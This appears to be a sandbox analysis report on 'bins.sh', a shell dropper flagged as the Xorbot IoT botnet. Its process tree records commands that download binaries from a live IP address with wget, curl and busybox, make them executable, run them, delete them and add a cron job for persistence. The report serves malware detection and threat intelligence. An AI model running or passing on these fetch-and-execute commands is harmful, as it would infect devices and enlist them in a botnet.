Analysis

  • max time kernel
    123s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21-02-2025 00:30

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5ef1697b55b08f75a606cb8353e1078d

  • SHA1

    24eeb534d2e23810e6e1c746982dac5ad86d2caa

  • SHA256

    0b37b97e32a3032e02c29a27664c6efe62d1de8f7f1763c28cd807929ff3cfb0

  • SHA512

    6e337c002372db0005d3b5d3a5d6aa289f43e5730e27d3ecbc66d6dd251b8fc894c95af358cea2550dc4a5cb8af74b18a96adb98cdc746b99b136f06ee898f3a

  • SSDEEP

    192:aL0g7OOdCaxtqDDL/qvD/glcwq00UqUqUpUAUsXrbalJWewrbalJmyUqUqUpUAUK:aL0g7OOdCaxtqDDL/ql0prbalJWewrbv

Malware Config

Signatures

  • Detects Xorbot 9 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (836) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:700
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:702
      • /usr/bin/wget
        wget http://37.44.238.88/bins/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
        2⤵
        • Writes file to tmp directory
        PID:707
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
        2⤵
        • Writes file to tmp directory
        PID:716
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
        2⤵
        • Writes file to tmp directory
        PID:733
      • /bin/chmod
        chmod 777 AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
        2⤵
        • File and Directory Permissions Modification
        PID:737
      • /tmp/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
        ./AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
        2⤵
          PID:738
        • /bin/rm
          rm AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
          2⤵
            PID:740
          • /usr/bin/wget
            wget http://37.44.238.88/bins/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O
            2⤵
            • Writes file to tmp directory
            PID:741
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O
            2⤵
            • Writes file to tmp directory
            PID:742
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/chmod
            chmod 777 AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O
            2⤵
            • File and Directory Permissions Modification
            PID:744
          • /tmp/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O
            ./AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O
            2⤵
              PID:745
            • /bin/rm
              rm AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O
              2⤵
                PID:747
              • /usr/bin/wget
                wget http://37.44.238.88/bins/YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
                2⤵
                • Writes file to tmp directory
                PID:748
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
                2⤵
                • Writes file to tmp directory
                PID:749
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
                2⤵
                • Writes file to tmp directory
                PID:758
              • /bin/chmod
                chmod 777 YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
                2⤵
                • File and Directory Permissions Modification
                PID:761
              • /tmp/YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
                ./YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
                2⤵
                  PID:763
                • /bin/rm
                  rm YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
                  2⤵
                    PID:766
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/NnCIQeFaRoRxQw2F1RL4wdplWlsQl9c5aI
                    2⤵
                    • Writes file to tmp directory
                    PID:767
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/NnCIQeFaRoRxQw2F1RL4wdplWlsQl9c5aI
                    2⤵
                    • Writes file to tmp directory
                    PID:775
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/NnCIQeFaRoRxQw2F1RL4wdplWlsQl9c5aI
                    2⤵
                    • Writes file to tmp directory
                    PID:802
                  • /bin/chmod
                    chmod 777 NnCIQeFaRoRxQw2F1RL4wdplWlsQl9c5aI
                    2⤵
                    • File and Directory Permissions Modification
                    PID:803
                  • /tmp/NnCIQeFaRoRxQw2F1RL4wdplWlsQl9c5aI
                    ./NnCIQeFaRoRxQw2F1RL4wdplWlsQl9c5aI
                    2⤵
                      PID:804
                    • /bin/rm
                      rm NnCIQeFaRoRxQw2F1RL4wdplWlsQl9c5aI
                      2⤵
                        PID:806
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/MUNuDsz5KeX2KQ0YOJcheL0sMqDigBi2Wj
                        2⤵
                        • Writes file to tmp directory
                        PID:807
                      • /usr/bin/curl
                        curl -O http://37.44.238.88/bins/MUNuDsz5KeX2KQ0YOJcheL0sMqDigBi2Wj
                        2⤵
                        • Writes file to tmp directory
                        PID:814
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/MUNuDsz5KeX2KQ0YOJcheL0sMqDigBi2Wj
                        2⤵
                        • Writes file to tmp directory
                        PID:822
                      • /bin/chmod
                        chmod 777 MUNuDsz5KeX2KQ0YOJcheL0sMqDigBi2Wj
                        2⤵
                        • File and Directory Permissions Modification
                        PID:826
                      • /tmp/MUNuDsz5KeX2KQ0YOJcheL0sMqDigBi2Wj
                        ./MUNuDsz5KeX2KQ0YOJcheL0sMqDigBi2Wj
                        2⤵
                          PID:827
                        • /bin/rm
                          rm MUNuDsz5KeX2KQ0YOJcheL0sMqDigBi2Wj
                          2⤵
                            PID:831
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/ru40gFBzkrSkygnJITe3W3ut1kECWT095j
                            2⤵
                            • Writes file to tmp directory
                            PID:832
                          • /usr/bin/curl
                            curl -O http://37.44.238.88/bins/ru40gFBzkrSkygnJITe3W3ut1kECWT095j
                            2⤵
                            • Writes file to tmp directory
                            PID:840
                          • /bin/busybox
                            /bin/busybox wget http://37.44.238.88/bins/ru40gFBzkrSkygnJITe3W3ut1kECWT095j
                            2⤵
                            • Writes file to tmp directory
                            PID:846
                          • /bin/chmod
                            chmod 777 ru40gFBzkrSkygnJITe3W3ut1kECWT095j
                            2⤵
                            • File and Directory Permissions Modification
                            PID:847
                          • /tmp/ru40gFBzkrSkygnJITe3W3ut1kECWT095j
                            ./ru40gFBzkrSkygnJITe3W3ut1kECWT095j
                            2⤵
                              PID:848
                            • /bin/rm
                              rm ru40gFBzkrSkygnJITe3W3ut1kECWT095j
                              2⤵
                                PID:850
                              • /usr/bin/wget
                                wget http://37.44.238.88/bins/EmhEO4mh345gtV3pNn7JrysEhjbUpy1SBz
                                2⤵
                                • Writes file to tmp directory
                                PID:851
                              • /usr/bin/curl
                                curl -O http://37.44.238.88/bins/EmhEO4mh345gtV3pNn7JrysEhjbUpy1SBz
                                2⤵
                                • Writes file to tmp directory
                                PID:852
                              • /bin/busybox
                                /bin/busybox wget http://37.44.238.88/bins/EmhEO4mh345gtV3pNn7JrysEhjbUpy1SBz
                                2⤵
                                • Writes file to tmp directory
                                PID:853
                              • /bin/chmod
                                chmod 777 EmhEO4mh345gtV3pNn7JrysEhjbUpy1SBz
                                2⤵
                                • File and Directory Permissions Modification
                                PID:854
                              • /tmp/EmhEO4mh345gtV3pNn7JrysEhjbUpy1SBz
                                ./EmhEO4mh345gtV3pNn7JrysEhjbUpy1SBz
                                2⤵
                                  PID:855
                                • /bin/rm
                                  rm EmhEO4mh345gtV3pNn7JrysEhjbUpy1SBz
                                  2⤵
                                    PID:857
                                  • /usr/bin/wget
                                    wget http://37.44.238.88/bins/Mo7GVUwZtAjQLjEjXC71rZRWWqjxAVQsgH
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:858
                                  • /usr/bin/curl
                                    curl -O http://37.44.238.88/bins/Mo7GVUwZtAjQLjEjXC71rZRWWqjxAVQsgH
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:859
                                  • /bin/busybox
                                    /bin/busybox wget http://37.44.238.88/bins/Mo7GVUwZtAjQLjEjXC71rZRWWqjxAVQsgH
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:860
                                  • /bin/chmod
                                    chmod 777 Mo7GVUwZtAjQLjEjXC71rZRWWqjxAVQsgH
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:861
                                  • /tmp/Mo7GVUwZtAjQLjEjXC71rZRWWqjxAVQsgH
                                    ./Mo7GVUwZtAjQLjEjXC71rZRWWqjxAVQsgH
                                    2⤵
                                      PID:862
                                    • /bin/rm
                                      rm Mo7GVUwZtAjQLjEjXC71rZRWWqjxAVQsgH
                                      2⤵
                                        PID:864
                                      • /usr/bin/wget
                                        wget http://37.44.238.88/bins/HXRIMtKZPX2m1qF5PeOBGFYoaQYEb17Y5T
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:865
                                      • /usr/bin/curl
                                        curl -O http://37.44.238.88/bins/HXRIMtKZPX2m1qF5PeOBGFYoaQYEb17Y5T
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:866
                                      • /bin/busybox
                                        /bin/busybox wget http://37.44.238.88/bins/HXRIMtKZPX2m1qF5PeOBGFYoaQYEb17Y5T
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:867
                                      • /bin/chmod
                                        chmod 777 HXRIMtKZPX2m1qF5PeOBGFYoaQYEb17Y5T
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:868
                                      • /tmp/HXRIMtKZPX2m1qF5PeOBGFYoaQYEb17Y5T
                                        ./HXRIMtKZPX2m1qF5PeOBGFYoaQYEb17Y5T
                                        2⤵
                                          PID:869
                                        • /bin/rm
                                          rm HXRIMtKZPX2m1qF5PeOBGFYoaQYEb17Y5T
                                          2⤵
                                            PID:871
                                          • /usr/bin/wget
                                            wget http://37.44.238.88/bins/WSoRGX3uApP1MSXoZQTFsPtOKgH3W9xQqX
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:872
                                          • /usr/bin/curl
                                            curl -O http://37.44.238.88/bins/WSoRGX3uApP1MSXoZQTFsPtOKgH3W9xQqX
                                            2⤵
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:873
                                          • /bin/busybox
                                            /bin/busybox wget http://37.44.238.88/bins/WSoRGX3uApP1MSXoZQTFsPtOKgH3W9xQqX
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:874
                                          • /bin/chmod
                                            chmod 777 WSoRGX3uApP1MSXoZQTFsPtOKgH3W9xQqX
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:875
                                          • /tmp/WSoRGX3uApP1MSXoZQTFsPtOKgH3W9xQqX
                                            ./WSoRGX3uApP1MSXoZQTFsPtOKgH3W9xQqX
                                            2⤵
                                            • Renames itself
                                            • Reads runtime system information
                                            PID:876
                                            • /bin/sh
                                              sh -c "crontab -l"
                                              3⤵
                                                PID:878
                                                • /usr/bin/crontab
                                                  crontab -l
                                                  4⤵
                                                    PID:879
                                                • /bin/sh
                                                  sh -c "crontab -"
                                                  3⤵
                                                    PID:880
                                                    • /usr/bin/crontab
                                                      crontab -
                                                      4⤵
                                                      • Creates/modifies Cron job
                                                      • Reads runtime system information
                                                      PID:881
                                                • /bin/rm
                                                  rm WSoRGX3uApP1MSXoZQTFsPtOKgH3W9xQqX
                                                  2⤵
                                                    PID:883
                                                  • /usr/bin/wget
                                                    wget http://37.44.238.88/bins/phPBt3tbAM6TmDptyTCQ9J6k5jFEAwLePd
                                                    2⤵
                                                      PID:886

                                                  Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • /tmp/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O

                                                    Filesize

                                                    107KB

                                                    MD5

                                                    eb9c3a0de91fcf16ba17cb24608df68c

                                                    SHA1

                                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                                    SHA256

                                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                    SHA512

                                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                  • /tmp/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S

                                                    Filesize

                                                    98KB

                                                    MD5

                                                    5141342d0df8699fa32a6b066a0c592e

                                                    SHA1

                                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                    SHA256

                                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                    SHA512

                                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                  • /tmp/EmhEO4mh345gtV3pNn7JrysEhjbUpy1SBz

                                                    Filesize

                                                    141KB

                                                    MD5

                                                    3ca8decdb1e52c423c521bfff02ac200

                                                    SHA1

                                                    8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                    SHA256

                                                    dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                    SHA512

                                                    b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                  • /tmp/HXRIMtKZPX2m1qF5PeOBGFYoaQYEb17Y5T

                                                    Filesize

                                                    111KB

                                                    MD5

                                                    ca897a38f23ec23521ce0b1b83f8422d

                                                    SHA1

                                                    b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                    SHA256

                                                    043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                    SHA512

                                                    10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                  • /tmp/MUNuDsz5KeX2KQ0YOJcheL0sMqDigBi2Wj

                                                    Filesize

                                                    117KB

                                                    MD5

                                                    849fa04ef88a8e8de32cb2e8538de5fe

                                                    SHA1

                                                    c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                    SHA256

                                                    8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                    SHA512

                                                    2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                  • /tmp/Mo7GVUwZtAjQLjEjXC71rZRWWqjxAVQsgH

                                                    Filesize

                                                    112KB

                                                    MD5

                                                    05d7857dcead18bbd86d2935f591873c

                                                    SHA1

                                                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                    SHA256

                                                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                    SHA512

                                                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                  • /tmp/NnCIQeFaRoRxQw2F1RL4wdplWlsQl9c5aI

                                                    Filesize

                                                    127KB

                                                    MD5

                                                    89077b7bd4bcafca7713be43635c4862

                                                    SHA1

                                                    fc02edb8fba29ea8ee99e6157ef8560334530052

                                                    SHA256

                                                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                    SHA512

                                                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                  • /tmp/WSoRGX3uApP1MSXoZQTFsPtOKgH3W9xQqX

                                                    Filesize

                                                    151KB

                                                    MD5

                                                    6c583043d91c55aa470c08c87058e917

                                                    SHA1

                                                    abf65a5b9bba69980278ad09356e53de8bb89439

                                                    SHA256

                                                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                    SHA512

                                                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                  • /tmp/YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2

                                                    Filesize

                                                    119KB

                                                    MD5

                                                    1b166b95f9cb4b079ef1b9ec8363ddf3

                                                    SHA1

                                                    0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                    SHA256

                                                    94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                    SHA512

                                                    983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                  • /tmp/ru40gFBzkrSkygnJITe3W3ut1kECWT095j

                                                    Filesize

                                                    99KB

                                                    MD5

                                                    9438d9bc392bcf300a5583b6df5bc8f6

                                                    SHA1

                                                    375a6ae34b516f6f3eeea8030c4084f585017efa

                                                    SHA256

                                                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                    SHA512

                                                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                  • /var/spool/cron/crontabs/tmp.DUo8nH

                                                    Filesize

                                                    210B

                                                    MD5

                                                    083f1477e7fe6c23526861e88895b875

                                                    SHA1

                                                    f9eae22569350bdfc3e6c6e193f8c511515981ee

                                                    SHA256

                                                    beb57d73221ff616143f9ef4f0bec8b79f07565f7934cbfc7735032817a15c29

                                                    SHA512

                                                    ca8c1a57bf3badaccc2cc268269ba9e7e0ab9860107e92aea9e4ef60439d9b0a48610c5b0af63def290cf0c28d465d039186da0b8f398bc2e8c3e3a08fa53878